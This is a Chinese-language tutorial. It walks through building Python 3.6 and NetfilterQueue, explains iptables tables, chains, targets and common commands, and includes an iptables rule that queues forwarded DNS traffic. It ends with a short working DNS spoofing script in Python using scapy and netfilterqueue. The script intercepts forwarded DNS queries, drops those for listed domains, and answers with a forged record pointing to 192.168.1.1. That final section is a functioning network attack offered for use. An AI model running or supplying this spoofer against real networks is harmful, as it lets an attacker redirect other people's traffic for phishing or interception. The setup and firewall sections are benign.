一 环境安装
前要:使用python3.6以上版本安装netfilterqueue会出现报错无法安装
1.安装python3.6
前提:本机已有python3.9,在此前提下安装python3.6
问题:中间有什么报错无法进行,一般是小问题,请自行翻译,下载解决
- 获取安装包:
wget http://www.python.org/ftp/python/3.6.4/Python-3.6.4.tgz #如果嫌弃慢,自行打开网页自行下载,注意名字与后面命令一致
- 解压压缩包:
tar -zxvf Python-3.6.4.tgz
- 配置环境:
apt-get install build-essential && apt-get install libssl-dev && apt-get install zlib1g-dev && apt-get install libbz2-dev && apt-get install libreadline-dev && apt-get install libsqlite3-dev && apt-get install libncurses5-dev && apt-get install libncursesw5-dev && apt-get install libffi-dev && apt-get install liblzma-dev && apt-get install python-openssl && apt-get install tk-dev && apt-get install openssl #可以直接复制
- 准备编译:
cd Python-3.6.4
- 最后阶段:
./configure --prefix=/download/python3.6 && make && make install #使用这条命令提前创建好文件夹/download,因为编译好的python3.6将会放置于此
验证:在/download/python3.6/bin
下输入./python3
看看是否能运行python也注意查看版本号
2.安装快捷方式
ln命令解释:linux命令
ln -s /download/python3.6/bin/python3.6 /usr/bin/python3.6 #请确保路径对错,主要是第一个路径,看看其是不是你的python3.6路径
ln -s /download/python3.6/bin/pip3.6 /usr/bin/pip3.6 #请确保路径对错,主要是第一个路径,看看其是不是你的pip3.6路径
3.下载netfilterqueue
前要:无法通过pip下载,就自行手动下载
- 寻找名为
NetfilterQueue-0.8.1.tar.gz
的文件,官网一般都有 - 解压
- 配置环境:
apt-get install libnetfilter-queue-dev && apt-get install build-essential && apt-get install python3-dev
- 安装:
python3.6 setup.py install #前提需要cd到解压完后的目录里
二 iptables
前要:其实它就是防火墙能对自己网络中的数据进行拦截丢弃,下面只会初步简单,基于文章学习
1.结构
1.1 表
内容 | 解释 |
---|---|
raw | 高级功能例如网址过滤 |
mangle | 可修改数据包 |
net | 用于网关路由器上地址转换 |
filter | 用于防火墙包过滤(不指定表默认就是这个) |
1.2 链
内容 | 解释 |
---|---|
INPUT链 | 处理输入数据包 |
OUTPUT链 | 处理输出数据包 |
FORWARD链 | 处理转发数据包 |
PREROUTING链 | 用于目标地址转换(DNAT)。 |
POSTOUTING链 | 用于源地址转换(SNAT)。 |
常用命令:
- -A
追加规则-->iptables -A INPUT
- -D
删除规则-->iptables -D INPUT 1(编号)
- -R
修改规则-->iptables -R INPUT 1 -s 192.168.12.0 -j DROP 取代现行规则,顺序不变(1是位置)
- -I
插入规则-->iptables -I INPUT 1 --dport 80 -j ACCEPT 插入一条规则,原本位置上的规则将会往后移动一个顺位
- -L
查看规则-->iptables -L INPUT 列出规则链中的所有规则
- -N
新的规则-->iptables -N allowed 定义新的规则
常用参数:
- -p
协议 例:iptables -A INPUT -p tcp
- -s
源地址 例:iptables -A INPUT -s 192.168.1.1
- -d
目的地址 例:iptables -A INPUT -d 192.168.12.1
- -sport
源端口 例:iptables -A INPUT -p tcp --sport 22
- -dport
目的端口 例:iptables -A INPUT -p tcp --dport 22
- -i
指定入口网卡 例:iptables -A INPUT -i eth0
- -o
指定出口网卡 例:iptables -A FORWARD -o eth0
- -j
后面添加规则 例:iptables -A OUTPUT -j ACCEPT
1.3 规则
内容 | 解释 |
---|---|
ACCEPT | 允许数据包通过。 |
DROP | 直接丢弃数据包,不给任何回应信息,这时候客户端会感觉自己的请求泥牛入海了,过了超时时间才会有反应。 |
REJECT | 拒绝数据包通过,必要时会给数据发送端一个响应的信息,客户端刚请求就会收到拒绝的信息。 |
SNAT | 源地址转换,解决内网用户用同一个公网地址上网的问题。 |
MASQUERADE | 是SNAT的一种特殊形式,适用于动态的、临时会变的ip上。 |
DNAT | 目标地址转换。 |
REDIRECT | 在本机做端口映射。 |
LOG | 在/var/log/messages文件中记录日志信息,然后将数据包传递给下一条规则,也就是说除了记录以外不对数据包做任何其他操作,仍然让下一条规则去匹配。 |
NFQUEUE | 用于将数据包委托给用户态应用程序裁决如何处理数据包 |
2.实战
-
允许访问22端口:
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
-
允许向外访问:
iptables -A OUTPUT -j ACCEPT
-
转发的dns服务提交给用户处置代号为0:
iptables -I FORWARD -p udp --dport 53 -j NFQUEUE --queue-num 0
-
删除所有规则:
iptables --flush
三.dns欺骗
前要:netfiterqueue官方文档
import netfilterqueue
from scapy.all import *
def process(p):
sp=IP(p.get_payload())
dns_list = ['www.ak47.com','www.m4a1.com','www.awp.com']
if sp.haslayer(DNS) and sp.getlayer(DNS).qr == 0:
ip = sp.getlayer(IP)
udp = sp.getlayer(UDP)
dns = sp.getlayer(DNS)
dns_text=dns.qd.qname.decode()[:-1]
if dns_text in dns_list:
a = IP(src=ip.dst,dst=ip.src)
a/=UDP(sport=udp.dport,dport=udp.sport)
a/=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata='192.168.1.1'))
p.drop()
send(a)
print('ok')
p.accept()
queue =netfilterqueue.NetfilterQueue()
queue.bind(0,process)
queue.run()